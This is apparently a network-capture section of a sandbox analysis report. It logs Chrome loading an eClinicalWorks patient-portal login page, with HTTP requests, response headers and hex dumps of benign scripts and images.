2024-04-24 12:45:10 UTC	775	OUT	GET /portal14763/script/jstz-1.0.4.min.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:10 UTC	459	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: text/javascript Content-Length: 5434 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:10 GMT Accept-Ranges: bytes ETag: W/"5434-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:10 UTC	5434	IN	Data Raw: 2f 2a 21 20 6a 73 74 7a 20 2d 20 76 31 2e 30 2e 34 20 2d 20 32 30 31 32 2d 31 32 2d 31 32 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 22 73 22 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 2d 65 2e 67 65 74 54 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 28 29 3b 72 65 74 75 72 6e 20 74 21 3d 3d 6e 75 6c 6c 3f 74 3a 30 7d 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 6e 65 77 20 44 61 74 65 3b 72 65 74 75 72 6e 20 65 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 72 2e 73 65 74 46 75 6c 6c 59 65 61 72 28 65 29 2c 72 2e 73 65 74 44 61 74 65 28 6e 29 2c 72 2e 73 65 74 4d 6f 6e 74 68 28 74 29 2c 72 7d 2c 69 3d Data Ascii: /! jstz - v1.0.4 - 2012-12-12 /(function(e){var t=function(){"use strict";var e="s",n=function(e){var t=-e.getTimezoneOffset();return t!==null?t:0},r=function(e,t,n){var r=new Date;return e!==undefined&&r.setFullYear(e),r.setDate(n),r.setMonth(t),r},i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50113	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:10 UTC	783	OUT	GET /portal14763/script/newui/js/reloadCaptcha.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:10 UTC	436	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: text/javascript Content-Length: 1362 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:10 GMT Accept-Ranges: bytes ETag: W/"1362-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:10 UTC	1362	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 20 20 72 65 6c 6f 61 64 43 61 70 74 63 68 61 28 29 3b 0d 0a 7d 29 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 49 45 78 70 6c 6f 72 65 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 36 2d 31 31 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 69 73 49 45 20 3d 20 2f 2a 40 63 63 5f 6f 6e 21 40 2a 2f 20 66 61 6c 73 65 20 7c 7c 20 21 21 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 3b 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 45 64 67 65 20 32 30 2b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 69 73 45 64 67 65 20 3d 20 21 69 73 49 45 20 26 26 20 21 21 20 77 69 Data Ascii: $(document).ready(function(){ reloadCaptcha();});function isIExplore() { try { // Internet Explorer 6-11 var isIE = /@cc_on!@/ false \|\| !! document.documentMode; // Edge 20+ var isEdge = !isIE && !! wi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50114	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:10 UTC	768	OUT	GET /portal14763/script/md5.js?q=2 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:10 UTC	459	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:10 GMT Content-Type: text/javascript Content-Length: 9264 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:10 GMT Accept-Ranges: bytes ETag: W/"9264-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:10 UTC	9264	IN	Data Raw: 2f 2a 0d 0a 20 2a 20 41 20 4a 61 76 61 53 63 72 69 70 74 20 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 52 53 41 20 44 61 74 61 20 53 65 63 75 72 69 74 79 2c 20 49 6e 63 2e 20 4d 44 35 20 4d 65 73 73 61 67 65 0d 0a 20 2a 20 44 69 67 65 73 74 20 41 6c 67 6f 72 69 74 68 6d 2c 20 61 73 20 64 65 66 69 6e 65 64 20 69 6e 20 52 46 43 20 31 33 32 31 2e 0d 0a 20 2a 20 56 65 72 73 69 6f 6e 20 32 2e 31 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 50 61 75 6c 20 4a 6f 68 6e 73 74 6f 6e 20 31 39 39 39 20 2d 20 32 30 30 32 2e 0d 0a 20 2a 20 4f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 3a 20 47 72 65 67 20 48 6f 6c 74 2c 20 41 6e 64 72 65 77 20 4b 65 70 65 72 74 2c 20 59 64 6e 61 72 2c 20 4c 6f 73 74 69 6e 65 74 0d 0a 20 2a 20 44 69 73 74 Data Ascii: /* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorithm, as defined in RFC 1321. * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet * Dist

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50120	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:10 UTC	785	OUT	GET /portal14763/script/newLogin/newlogin_script.js HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:11 UTC	461	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:11 GMT Content-Type: text/javascript Content-Length: 37366 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:11 GMT Accept-Ranges: bytes ETag: W/"37366-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:11 UTC	15923	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 63 68 61 6e 67 65 6c 61 6e 67 28 6c 61 6e 67 75 61 67 65 49 64 29 20 7b 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 6e 67 50 61 72 61 6d 22 29 2e 76 61 6c 75 65 20 3d 20 6c 61 6e 67 75 61 67 65 49 64 2e 69 64 3b 0a 20 20 20 20 76 61 72 20 66 6f 72 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 73 77 69 74 63 68 4c 61 6e 67 46 72 6d 27 29 3b 0a 20 20 20 20 66 6f 72 6d 2e 61 63 74 69 6f 6e 3d 22 6c 6f 67 69 6e 5f 6f 74 70 2e 6a 73 70 22 3b 0a 20 20 20 20 66 6f 72 6d 2e 73 75 62 6d 69 74 28 29 3b 0a 7d 0a 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 24 28 22 23 Data Ascii: function changelang(languageId) { document.getElementById("lngParam").value = languageId.id; var form = document.getElementById('switchLangFrm'); form.action="login_otp.jsp"; form.submit();}jQuery(document).ready(function () { $("#
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 22 23 72 61 64 69 6f 65 6d 61 69 6c 48 6f 6d 65 22 29 2e 68 69 64 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 6c 61 62 65 6c 5b 66 6f 72 3d 72 61 64 69 6f 65 6d 61 69 6c 48 6f 6d 65 5d 27 29 2e 68 69 64 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 28 68 6f 6d 65 50 68 6f 6e 65 4e 6f 3d 3d 22 22 20 7c 7c 20 68 6f 6d 65 50 68 6f 6e 65 4e 6f 3d 3d 6e 75 6c 6c 20 7c 7c 20 68 6f 6d 65 50 68 6f 6e 65 Data Ascii: { $("#radioemailHome").hide(); $('label[for=radioemailHome]').hide(); } if((homePhoneNo=="" \|\| homePhoneNo==null \|\| homePhone
2024-04-24 12:45:11 UTC	5059	IN	Data Raw: 61 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 6c 6f 67 69 6e 56 69 65 77 48 65 61 6c 74 68 2c 20 23 76 69 65 77 48 65 61 6c 74 68 2c 20 23 74 46 6f 72 67 6f 74 50 77 64 42 6c 6f 63 6b 2c 20 2e 73 68 6f 77 70 77 64 74 65 78 74 27 29 2e 61 64 64 43 6c 61 73 73 28 27 64 2d 6e 6f 6e 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 74 46 6f 72 67 6f 74 55 73 65 72 42 6c 6f 63 6b 2c 20 23 74 46 6f 72 67 6f 74 55 73 65 72 42 6c 6f 63 6b 2c 20 2e 73 68 6f 77 75 73 65 72 74 65 78 74 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 64 2d 6e 6f 6e 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 22 23 66 6f 72 67 65 74 55 73 65 72 22 29 2e 70 72 6f 70 28 27 63 68 65 63 6b 65 64 27 2c 20 74 72 75 65 29 0a 20 20 20 20 20 20 20 20 Data Ascii: a) { $('#loginViewHealth, #viewHealth, #tForgotPwdBlock, .showpwdtext').addClass('d-none'); $('#tForgotUserBlock, #tForgotUserBlock, .showusertext').removeClass('d-none'); $("#forgetUser").prop('checked', true)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50121	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:10 UTC	828	OUT	GET /portal14763/images/reload.jpg HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:11 UTC	431	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:11 GMT Content-Type: image/jpeg Content-Length: 2461 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:11 GMT Accept-Ranges: bytes ETag: W/"2461-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:11 UTC	2461	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 06 07 0e 0e 10 10 0f 0d 10 10 10 15 11 11 11 10 16 17 10 17 10 0f 12 12 12 15 11 18 17 17 17 17 15 18 28 28 20 1a 20 25 1b 16 15 21 31 21 25 29 2c 2e 2e 2f 18 1f 33 38 33 2c 37 28 2d 2e 2b 01 0a 0a 0a 05 05 05 0e 05 05 0e 2b 19 13 19 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b ff c0 00 11 08 00 b3 00 b3 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 05 07 03 04 06 08 01 02 ff c4 00 3c 10 00 02 02 00 02 04 09 0b 03 04 03 01 00 00 00 00 00 01 02 03 04 11 05 06 21 31 07 12 32 41 51 61 71 81 91 13 14 22 52 53 72 92 a1 b1 b2 c1 62 Data Ascii: JFIF(( %!1!%),../383,7(-.++++++++++++++++++++++++++++++++++++++++++++++++++++"<!12AQaq"RSrb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50122	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:10 UTC	865	OUT	GET /portal14763/images/newLogin/book-an-appointment-landing-vector.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:11 UTC	432	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:11 GMT Content-Type: image/png Content-Length: 43974 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:11 GMT Accept-Ranges: bytes ETag: W/"43974-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:11 UTC	15952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 cb 00 00 01 bd 08 06 00 00 00 7a 79 5d 9b 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec 9d 07 7c 5c c5 f5 b6 cf 76 ad 56 bd 58 5d 96 7b c7 a6 18 dc b0 4d 31 06 43 00 d3 8b 8d 03 04 08 21 3d 01 fe 5f 2a 21 24 3f 02 21 21 74 02 0e 2d 40 02 a6 25 b4 50 6d 0c a6 d8 06 1b f7 5e 64 4b b2 ad de b5 f5 7b cf 48 d7 96 85 a4 ed ab 2d e7 26 8b 64 ed bd 73 67 de 99 bd cf 9e 33 67 ce e8 48 0e 51 40 14 10 05 44 01 51 40 14 e8 57 01 9d e8 23 0a 88 02 a2 80 28 20 0a 88 02 fd 2b 20 b0 94 11 22 0a 88 02 a2 80 28 20 0a 78 51 40 60 29 43 44 14 10 05 44 01 51 40 14 10 58 ca 18 10 05 44 01 51 40 14 10 05 82 53 40 2c cb e0 f4 93 ab 45 01 51 40 14 10 05 12 40 01 81 65 02 74 b2 34 51 14 10 Data Ascii: PNGIHDRzy]sBIT\|d IDATx^\|\vVX]{M1C!=_*!$?!!t-@%Pm^dK{H-&dsg3gHQ@DQ@W#( + "( xQ@`)CDDQ@XDQ@S@,EQ@@et4Q
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 11 15 74 01 fa cf 61 11 ef ed 25 83 92 b6 27 a2 00 bd b5 59 60 29 23 41 29 20 b0 94 81 10 cf 0a 08 2c 03 ed 5d cf f3 46 9d e9 8e 82 02 cb c6 40 4b 88 97 eb 04 96 f1 d2 93 41 b6 23 10 58 26 fa ae 23 41 4a 2e 97 47 50 01 7f 61 39 6e fc 38 fa ee 8d 37 d0 b0 e1 43 23 58 cb a8 be d5 cb 46 9d f1 d7 89 0c 4d 81 65 54 8f cf c8 55 ce 7f 58 96 d0 2d b7 7c 1f db 4c 4d 8e 5c 25 fb b8 13 a7 80 eb 7e 1c fd af 01 af de e1 0a f4 fc b0 71 62 f5 de 8e 78 6b 4f 34 f4 80 af b0 e4 04 f5 36 5b 0a 9d 77 fe b7 e8 ec 6f cd 53 bb bf c8 71 94 02 4b f4 1e c3 af 8a 8a 92 b6 24 9a 2e 02 cb 44 eb f1 3e da eb 2f 2c cb ca 4a 88 b7 e8 9a 3e fd c4 01 55 b0 3b 58 14 24 01 ce 68 84 e5 e1 0f 1a 00 d9 fd 43 d7 13 98 f1 d6 9e 01 1d 1c dd 6e ee 2b 2c b3 b2 32 69 ee 59 73 e9 9c 6f 9d ad 76 86 91 Data Ascii: ta%'Y`)#A) ,]F@KA#X&#AJ.GPa9n87C#XFMeTUX-\|LM\%~qbxkO46[woSqK$.D>/,J>U;X$hCn+,2iYsov
2024-04-24 12:45:11 UTC	11638	IN	Data Raw: 68 d7 ee e8 88 f8 ee dd bb 21 3d 3d 1d 9a 36 6d aa 5a 55 5f c3 6c 6a ed a6 c2 3c cb f6 66 1f 5d a7 fc de bd 8e c1 d8 ed 6b 98 8d e6 2a 69 9b 88 9a b4 7d eb 16 68 de a2 25 7e b5 10 97 d3 bf 93 93 ad d0 26 27 a7 c1 ed 07 0f 1c 80 83 07 f6 43 c7 4e 9d eb 7f ef 79 af 9a f2 e8 1a 7a db 6d 86 73 97 ee 89 86 e9 69 0b 51 6a 5d bb fb ca cb 53 2f ea 23 95 f8 c2 e3 de 17 bc 69 ed ad 7f a9 b5 99 86 87 69 05 35 ad a4 0e d6 6e cf b2 1a 6b 77 cf 3e 2f c3 6e b5 f5 d6 f2 3a 82 e5 f6 1d 05 df 4d 78 f5 a5 e1 1f 7e 38 a3 14 f3 26 40 ba 7f f1 30 ac 96 82 d7 7d d6 34 ce 32 b0 ec f0 01 1b 87 de e5 56 fc d0 77 08 ec 4e fd af 36 02 2c f7 97 94 42 0b 9c 87 f2 b5 82 93 20 f2 d8 63 8f 41 b3 66 cd e0 d0 a1 43 f0 cc 33 cf c0 c7 1f 7f 0c 1b 37 6e 14 a2 75 ed da 15 46 8c 18 21 7e de bc Data Ascii: h!==6mZU_lj<f]k*i}h%~&'CNyzmsiQj]S/#ii5nkw>/n:Mx~8&@0}42VwN6,B cAfC37nuF!~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50123	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:10 UTC	860	OUT	GET /portal14763/images/newLogin/join-televisit-vector-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:11 UTC	434	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:11 GMT Content-Type: image/png Content-Length: 171228 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:11 GMT Accept-Ranges: bytes ETag: W/"171228-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:11 UTC	15950	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 f7 00 00 01 9d 08 06 00 00 00 0f 1a 3a 1b 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec bd 09 98 5c 57 75 2e ba 7a 9e e7 41 dd 52 6b 9e 67 5b 92 85 e5 09 8f d8 0e 60 8c 49 48 08 53 08 43 08 37 5f c8 7d 97 1b 92 fb 78 2f b9 21 e4 e6 5e 92 2f 90 1b 2e 43 20 e4 11 26 63 66 8c 81 00 06 3c ca f2 6c d9 b2 e6 56 ab 5b 52 cf 73 57 77 55 75 55 bd ff 5f 6b ef 73 4e f5 20 b5 84 65 82 5d 65 b7 ba ba ea 9c bd f7 d9 c3 fa d7 bc f2 e4 05 7c ed 7c cd 5b 97 d5 94 17 7d a8 b2 a4 70 67 51 be 34 16 17 e6 d7 94 16 16 94 97 15 e5 17 16 17 16 e4 bd 80 5d e5 9a ca cd 40 6e 06 72 33 90 9b 81 8b 38 03 89 e9 54 66 32 99 9e 9e 9a 4e c5 12 d3 e9 91 78 2a dd 37 11 4f 3d 3e 30 9e f8 f0 33 3f f8 Data Ascii: PNGIHDR:sBIT\|d IDATx^\Wu.zARkg[`IHSC7_}x/!^/.C &cf<lV[RsWwUuU_ksN e]e\|\|[}pgQ4]@nr38Tf2Nx*7O=>03?
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 43 c6 33 48 81 04 f7 0c 42 a5 28 b9 f7 f4 a3 4e f8 68 46 2a 01 ee 3c c5 27 8e 3f 07 b3 04 25 22 b6 6d 92 bb 97 78 fd b8 09 94 59 e0 1e 71 ba 8b 82 3b 73 a7 9f 80 57 3e 25 77 82 fb b5 1b 20 b9 c3 5b 5e 09 83 f2 3b f6 1f 5f 7c fa 40 da f5 2e ee d4 7a a8 87 bc 79 cd 93 91 28 e2 1a 68 86 38 23 a7 2a 2f a8 93 9c a9 c3 1d 25 0b 54 91 3e 36 df c4 79 d7 97 f1 5a 8e 11 e0 e3 d9 8d 0c 85 d3 b8 71 67 3f 54 59 4a df db 2b b0 47 3b 86 8c cc 04 7b 36 70 37 7b a9 e6 d4 77 4c 0a ef f4 24 df b0 9d 7d 98 16 87 17 d1 74 5a 8a 0c 89 95 95 85 48 02 54 a2 59 eb 4a 61 42 e1 1e 98 44 b6 c0 44 9c 59 ed 18 c5 01 ef 78 ec a5 29 e4 93 1f 05 b8 4f 31 d4 51 d3 ce ba e7 08 cc 10 90 dc 9f 7f 79 82 fb 4c a9 57 f7 55 04 dc f3 00 ee 21 ec 86 92 fb f9 82 7b 12 89 9f 3a bf f3 3d 80 fb 43 0a Data Ascii: C3HB(NhF<'?%"mxYq;sW>%w [^;_\|@.zy(h8#/%T>6yZqg?TYJ+G;{6p7{wL$}tZHTYJaBDDYx)O1QyLWU!{:=C
